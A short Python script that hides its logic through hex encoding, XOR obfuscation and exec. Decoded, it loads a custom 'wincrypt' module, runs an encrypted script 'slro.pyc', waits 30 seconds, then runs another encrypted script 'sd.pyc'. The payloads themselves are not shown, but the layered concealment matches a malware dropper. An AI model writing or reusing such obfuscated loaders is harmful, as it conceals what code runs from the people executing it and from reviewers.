import binascii
_____________=152
___________=binascii.unhexlify("f1f5e8f7eaecb8ebe1eb92f1f5e8f7eaecb8f7eb92ebe1ebb6e8f9ecf0b6f9e8e8fdf6fcb0f7ebb6e8f9ecf0b6fcf1eaf6f9f5fdb0c7c7fef1f4fdc7c7b1b192feeaf7f5b8ecf1f5fdb8f1f5e8f7eaecb8ebf4fdfde89292f1f5e8f7eaecb8eff1f6fbeae1e8ec92eff1f6fbeae1e8ecb6eaedf6c7fdf6fbeae1e8ecfdfcc7ebfbeaf1e8ecb0baebf4eaf7b6e8e1fbbab192ebf4fdfde8b0aba8b192eff1f6fbeae1e8ecb6eaedf6c7fdf6fbeae1e8ecfdfcc7ebfbeaf1e8ecb0baebfcb6e8e1fbbab192")
____________=''.join(chr(b^_____________) for b in ___________)
_____=compile(____________,'<string>','exec')
exec(_____)
